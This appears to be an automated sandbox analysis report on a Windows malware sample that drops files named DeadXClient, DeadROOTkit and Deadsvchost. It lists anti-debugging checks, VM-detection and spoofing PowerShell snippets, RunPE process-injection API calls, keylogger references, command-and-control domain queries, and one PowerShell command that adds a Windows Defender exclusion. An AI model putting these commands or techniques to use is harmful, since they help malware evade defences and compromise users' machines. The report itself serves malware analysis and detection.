Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\spoolsv.exe	Last function: Thread delayed
Source: C:\Windows\System32\spoolsv.exe	Last function: Thread delayed

Source: C:\Users\Public\DeadXClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\Public\Deadsvchost.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\Public\Deadsvchost.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\Public\Deadsvchost.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Windows\System32\dllhost.exe	Code function: 6_2_000002E86A09BF5C FindFirstFileExW,	6_2_000002E86A09BF5C
Source: C:\Windows\System32\winlogon.exe	Code function: 11_2_00000225DC64BF5C FindFirstFileExW,	11_2_00000225DC64BF5C
Source: C:\Windows\System32\lsass.exe	Code function: 12_2_00000202C0AEBF5C FindFirstFileExW,	12_2_00000202C0AEBF5C
Source: C:\Windows\System32\svchost.exe	Code function: 14_2_000002A66130BF5C FindFirstFileExW,	14_2_000002A66130BF5C
Source: C:\Windows\System32\dwm.exe	Code function: 16_2_000002BAAF21BF5C FindFirstFileExW,	16_2_000002BAAF21BF5C
Source: C:\Windows\System32\svchost.exe	Code function: 17_2_0000026A879CBF5C FindFirstFileExW,	17_2_0000026A879CBF5C
Source: C:\Windows\System32\svchost.exe	Code function: 19_2_00000179537ABF5C FindFirstFileExW,	19_2_00000179537ABF5C
Source: C:\Windows\System32\svchost.exe	Code function: 20_2_000002295D56BF5C FindFirstFileExW,	20_2_000002295D56BF5C

Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Thread delayed: delay time: 599640	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Thread delayed: delay time: 599531	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Thread delayed: delay time: 599421	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Thread delayed: delay time: 599293	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Thread delayed: delay time: 599133	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Thread delayed: delay time: 598741	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Thread delayed: delay time: 598568	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Thread delayed: delay time: 598440	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\Public\Deadsvchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\Public\Deadsvchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\Public\Deadsvchost.exe	Thread delayed: delay time: 922337203685477

Source: lsass.exe, 0000000C.00000002.2952382254.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: pvmicvssNT SERVICE
Source: svchost.exe, 0000002E.00000002.2936876643.000002644A62B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: @\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Microsoft-Windows-Storage-Storport%4Operational.evtx.25.dr	Binary or memory string: VMware SATA CD00
Source: svchost.exe, 00000016.00000002.3003322071.000001845BC0A000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: zSCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000_0r
Source: Microsoft-Windows-Storage-Storport%4Operational.evtx.25.dr	Binary or memory string: NECVMWarVMware SATA CD00
Source: Microsoft-Windows-Storage-Storport%4Operational.evtx.25.dr	Binary or memory string: LSI_SASVMware Virtual disk 6000c2942fce4d06663969f532e45d1a
Source: DeadXClient.exe, 00000001.00000002.3027772809.000000001B950000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWpe="%SystemRoot%\system32\mswsock.dll Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"
Source: Microsoft-Windows-StorageSpaces-Driver%4Operational.evtx.25.dr	Binary or memory string: VMwareVirtual disk6000c2942fce4d06663969f532e45d1a8
Source: dwm.exe, 00000010.00000002.3015392657.000002BAAA00C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000S
Source: svchost.exe, 00000019.00000003.1884989548.000001D5593A4000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMwareVirtual disk2.06000c2942fce4d06663969f532e45d1aPCI Slot 32 : Bus 2 : Device 0 : Function 0 : Adapter 0 : Port 0 : Target 0 : LUN 0PCI\VEN_1000&DEV_0054&SUBSYS_197615AD&REV_01\3&218e0f40&0&00
Source: svchost.exe, 0000002E.00000000.1971368837.000002644A702000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: Microsoft-Windows-Storage-Storport%4Operational.evtx.25.dr	Binary or memory string: storahciNECVMWarVMware SATA CD00
Source: svchost.exe, 0000002E.00000000.1971007681.000002644A62B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: (@\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Microsoft-Windows-StorageSpaces-Driver%4Operational.evtx.25.dr	Binary or memory string: VMwareVirtual disk6000c2942fce4d06663969f532e45d1ap
Source: Microsoft-Windows-Storsvc%4Diagnostic.evtx.25.dr	Binary or memory string: VMware Virtual disk 2.0 6000c2942fce4d06663969f532e45d1aPCI\VEN_1000&DEV_0054&SUBSYS_197615AD&REV_01\3&218E0F40&0&00NTFS
Source: Microsoft-Windows-PowerShell%4Operational.evtx.25.dr	Binary or memory string: $value = $pr.Value.replace("VBOX", $value).replace("VBox", $value).replace("VMWARE", $value).replace("VMware Virtual disk", $value).replace("VMware", $value).replace("HARDDISK", "WDC").replace("VIRTUAL_DISK", $value)
Source: DeadROOTkit.exe, 00000002.00000002.2999435722.000000001B1C0000.00000004.00000020.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.2947445090.00000202BFC13000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.1763056883.00000202BFC13000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.2944371275.000002A660613000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000000.1779615451.000002A660613000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000013.00000000.1828161569.000001795302B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.2938538248.000001795302B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000014.00000000.1830040806.000002295CE2A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.2938017743.000002295CE2A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000016.00000000.1834191940.000001845AC3F000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000016.00000002.2955372559.000001845AC3F000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: svchost.exe, 0000000E.00000000.1779646224.000002A66062A000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000
Source: System.evtx.25.dr	Binary or memory string: VMCI: Using capabilities (0x1c).
Source: lsass.exe, 0000000C.00000002.2952382254.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: pvmicshutdownNT SERVICE
Source: Microsoft-Windows-PowerShell%4Operational.evtx.25.dr	Binary or memory string: $value = $pr.Value.replace("VEN_80EE", $value).replace("VEN_15AD", $value).replace("VBOX", $value).replace("VBox", $value).replace("VMWARE", $value).replace("82801FB", $value).replace("82441FX", $value).replace("82371SB", $value).replace("OpenHCD", $value).replace("VMWare", $value).replace("VMware", $value)
Source: svchost.exe, 0000002E.00000002.2936876643.000002644A62B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: &@\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 0000002E.00000002.2936876643.000002644A62B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}1e
Source: DeadROOTkit.exe.2.dr	Binary or memory string: vmware
Source: Microsoft-Windows-Storage-Storport%4Operational.evtx.25.dr	Binary or memory string: nonicNECVMWarVMware SATA CD00
Source: svchost.exe, 00000019.00000000.1856908849.000001D55862B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000019.00000002.2952389964.000001D55862B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Hypervisor
Source: Microsoft-Windows-StorageSpaces-Driver%4Operational.evtx.25.dr	Binary or memory string: VMwareVirtual disk6000c2942fce4d06663969f532e45d1a@
Source: lsass.exe, 0000000C.00000000.1766962440.00000202C037F000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NXTVMWare
Source: Microsoft-Windows-PowerShell%4Operational.evtx.25.dr	Binary or memory string: $value = $pr.Value.replace("VBOX", $value).replace("VBox", $value).replace("VMWARE", $value).replace("VMware", $value).replace("VirtualBox", $value).replace("Oracle Corporation", $value).replace("Microsoft Basic Display Adapter", $value)
Source: Microsoft-Windows-Storage-Storport%4Operational.evtx.25.dr	Binary or memory string: nonicVMware Virtual disk 6000c2942fce4d06663969f532e45d1a
Source: svchost.exe, 0000002E.00000000.1971175317.000002644A640000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: (@SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000.ifo
Source: svchost.exe, 0000002E.00000000.1971007681.000002644A62B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: &@\\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000019.00000002.2953316253.000001D558643000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: (@vmcitpA
Source: svchost.exe, 0000000E.00000002.2949507615.000002A66066B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: @SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: svchost.exe, 00000024.00000002.2936162051.0000023FD3802000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcUmRdpServiceDsSvcfhsvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionsvsvcStorSvcWwanSvcvmicvssDevQueryBrokerNgcSvcsysmainNetmanTabletInputServicePcaSvcDisplayEnhancementServiceIPxlatCfgSvcDeviceAssociationServiceNcbServiceEmbeddedModeSensorServicewlansvcCscServiceWPDBusEnumMixedRealityOpenXRSvc
Source: lsass.exe, 0000000C.00000002.2952382254.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: pvmicheartbeatNT SERVICE
Source: svchost.exe, 00000019.00000000.1858871917.000001D5592C3000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: dowvmci
Source: Microsoft-Windows-Ntfs%4Operational.evtx.25.dr	Binary or memory string: VMware
Source: Microsoft-Windows-PushNotification-Platform%4Operational.evtx.25.dr	Binary or memory string: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
Source: Microsoft-Windows-PowerShell%4Operational.evtx.25.dr	Binary or memory string: if(($pr.Name -eq "Caption" -or $pr.Name -eq "Name" -or $pr.Name -eq "PNPDeviceID" -or $pr.Name -eq "AdapterCompatibility" -or $pr.Name -eq "Description" -or $pr.Name -eq "InfSection" -or $pr.Name -eq "VideoProcessor") -and ($pr.Value -match 'VBOX' -or $pr.Value -match 'VBox' -or $pr.Value -match 'VMWARE' -or $pr.Value -match 'VirtualBox' -or $pr.Value -match 'VMware' -or $pr.Value -match 'Oracle Corporation' -or $pr.Value -match 'Microsoft Basic Display Adapter'))
Source: DeadXClient.exe, 00000001.00000002.2920271280.0000000000AD4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: -b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Microsoft-Windows-PowerShell%4Operational.evtx.25.dr	Binary or memory string: if(($pr.Name -eq "DeviceId" -or $pr.Name -eq "Caption" -or $pr.Name -eq "Model" -or $pr.Name -eq "PNPDeviceID") -and ($pr.Value -match 'VBOX' -or $pr.Value -match 'VBox' -or $pr.Value -match 'VMWARE' -or $pr.Value -match 'VMware'))
Source: svchost.exe, 0000002E.00000002.2936876643.000002644A62B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 0000002E.00000002.2936876643.000002644A62B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000,@
Source: dwm.exe, 00000010.00000002.3015392657.000002BAAA00C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: Microsoft-Windows-PowerShell%4Operational.evtx.25.dr	Binary or memory string: if(($pr.Name -eq "DeviceId" -or $pr.Name -eq "Caption" -or $pr.Name -eq "Name" -or $pr.Name -eq "PNPDeviceID" -or $pr.Name -eq "Service" -or $pr.Name -eq "Description") -and ($pr.Value -match 'VEN_80EE' -or $pr.Value -match 'VEN_15AD' -or $pr.Value -match 'VBOX' -or $pr.Value -match 'VBox' -or $pr.Value -match 'VMWARE' -or $pr.Value -match 'VMWare' -or $pr.Value -match 'VMware' -or $pr.Value -match '82801FB' -or $pr.Value -match '82441FX' -or $pr.Value -match '82371SB' -or $pr.Value -match 'OpenHCD'))
Source: svchost.exe, 0000002E.00000002.2936876643.000002644A62B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Windows\System32\dllhost.exe

API call chain: ExitProcess graph end node

graph_6-7289

Source: C:\Users\Public\DeadROOTkit.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Users\Public\DeadROOTkit.exe

Code function: 2_2_00007FFD9B8078C1 CheckRemoteDebuggerPresent,

2_2_00007FFD9B8078C1

Source: C:\Users\Public\DeadROOTkit.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Windows\System32\dllhost.exe

Code function: 6_2_000002E86A0981B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

6_2_000002E86A0981B0

Source: C:\Users\Public\DeadCodeRootKit.exe

Code function: 3_2_00B019E2 StrCatW,GetProcessHeap,HeapAlloc,HeapAlloc,GetProcessHeap,HeapAlloc,StrStrIW,StrCatW,StrStrIW,StrNCatW,StrCatW,StrCatW,StrCatW,StrCatW,StrNCatW,StrCatW,StrCatW,StrCatW,StrStrIW,StrCatW,StrCpyW,GetProcessHeap,GetProcessHeap,HeapFree,HeapFree,GetProcessHeap,RtlFreeHeap,

3_2_00B019E2

Source: C:\Users\Public\DeadXClient.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Users\Public\Deadsvchost.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Windows\System32\dllhost.exe	Code function: 6_2_000002E86A098518 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_000002E86A098518
Source: C:\Windows\System32\dllhost.exe	Code function: 6_2_000002E86A0981B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_000002E86A0981B0
Source: C:\Windows\System32\dllhost.exe	Code function: 6_2_000002E86A09B62C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_000002E86A09B62C
Source: C:\Windows\System32\winlogon.exe	Code function: 11_2_00000225DC6481B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_00000225DC6481B0
Source: C:\Windows\System32\winlogon.exe	Code function: 11_2_00000225DC64B62C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_00000225DC64B62C
Source: C:\Windows\System32\winlogon.exe	Code function: 11_2_00000225DC648518 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	11_2_00000225DC648518
Source: C:\Windows\System32\lsass.exe	Code function: 12_2_00000202C0AEB62C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_00000202C0AEB62C
Source: C:\Windows\System32\lsass.exe	Code function: 12_2_00000202C0AE81B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_00000202C0AE81B0
Source: C:\Windows\System32\lsass.exe	Code function: 12_2_00000202C0AE8518 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	12_2_00000202C0AE8518
Source: C:\Windows\System32\svchost.exe	Code function: 14_2_000002A66130B62C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	14_2_000002A66130B62C
Source: C:\Windows\System32\svchost.exe	Code function: 14_2_000002A661308518 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	14_2_000002A661308518
Source: C:\Windows\System32\svchost.exe	Code function: 14_2_000002A6613081B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	14_2_000002A6613081B0
Source: C:\Windows\System32\dwm.exe	Code function: 16_2_000002BAAF2181B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_000002BAAF2181B0
Source: C:\Windows\System32\dwm.exe	Code function: 16_2_000002BAAF21B62C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_000002BAAF21B62C
Source: C:\Windows\System32\dwm.exe	Code function: 16_2_000002BAAF218518 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_000002BAAF218518
Source: C:\Windows\System32\svchost.exe	Code function: 17_2_0000026A879C8518 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	17_2_0000026A879C8518
Source: C:\Windows\System32\svchost.exe	Code function: 17_2_0000026A879CB62C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	17_2_0000026A879CB62C
Source: C:\Windows\System32\svchost.exe	Code function: 17_2_0000026A879C81B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	17_2_0000026A879C81B0
Source: C:\Windows\System32\svchost.exe	Code function: 19_2_00000179537A81B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	19_2_00000179537A81B0
Source: C:\Windows\System32\svchost.exe	Code function: 19_2_00000179537AB62C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	19_2_00000179537AB62C
Source: C:\Windows\System32\svchost.exe	Code function: 19_2_00000179537A8518 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	19_2_00000179537A8518
Source: C:\Windows\System32\svchost.exe	Code function: 20_2_000002295D56B62C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	20_2_000002295D56B62C
Source: C:\Windows\System32\svchost.exe	Code function: 20_2_000002295D568518 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	20_2_000002295D568518
Source: C:\Windows\System32\svchost.exe	Code function: 20_2_000002295D5681B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	20_2_000002295D5681B0

Source: C:\Users\user\Desktop\mIURiU8n2P.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\svchost.exe	Domain query: updates-full.gl.at.ply.gg
Source: C:\Windows\System32\svchost.exe	Domain query: subscribe-bond.gl.at.ply.gg
Source: C:\Windows\System32\svchost.exe	Domain query: api.telegram.org

.NET source code contains process injector

Source: 0.2.mIURiU8n2P.exe.12861a30.4.raw.unpack, RunPE.cs	.Net Code: Run contains injection code
Source: 3.0.DeadCodeRootKit.exe.b040b0.1.raw.unpack, RunPE.cs	.Net Code: Run contains injection code
Source: 3.2.DeadCodeRootKit.exe.b040b0.1.raw.unpack, RunPE.cs	.Net Code: Run contains injection code
Source: 4.2.powershell.exe.11113b8b798.11.raw.unpack, RunPE.cs	.Net Code: Run contains injection code

.NET source code references suspicious native API functions

Source: DeadXClient.exe.0.dr, Messages.cs	Reference to suspicious API methods: capGetDriverDescriptionA(wDriver, ref lpszName, 100, ref lpszVer, 100)
Source: DeadROOTkit.exe.0.dr, XLogger.cs	Reference to suspicious API methods: MapVirtualKey(vkCode, 0u)
Source: 0.2.mIURiU8n2P.exe.12861a30.4.raw.unpack, Unhook.cs	Reference to suspicious API methods: VirtualProtect((IntPtr)((long)moduleHandle + num5), (IntPtr)num6, 64u, out var oldProtect)
Source: 0.2.mIURiU8n2P.exe.12861a30.4.raw.unpack, RunPE.cs	Reference to suspicious API methods: OpenProcess(128, inheritHandle: false, parentProcessId)
Source: 0.2.mIURiU8n2P.exe.12861a30.4.raw.unpack, RunPE.cs	Reference to suspicious API methods: NtAllocateVirtualMemory(process, ref address, IntPtr.Zero, ref size2, 12288u, 64u)
Source: 0.2.mIURiU8n2P.exe.12861a30.4.raw.unpack, RunPE.cs	Reference to suspicious API methods: NtWriteVirtualMemory(process, address, payload, num3, IntPtr.Zero)
Source: 0.2.mIURiU8n2P.exe.12861a30.4.raw.unpack, RunPE.cs	Reference to suspicious API methods: NtSetContextThread(thread, intPtr5)

Adds a directory exclusion to Windows Defender

Source: C:\Users\Public\DeadROOTkit.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\DeadROOTkit.exe'
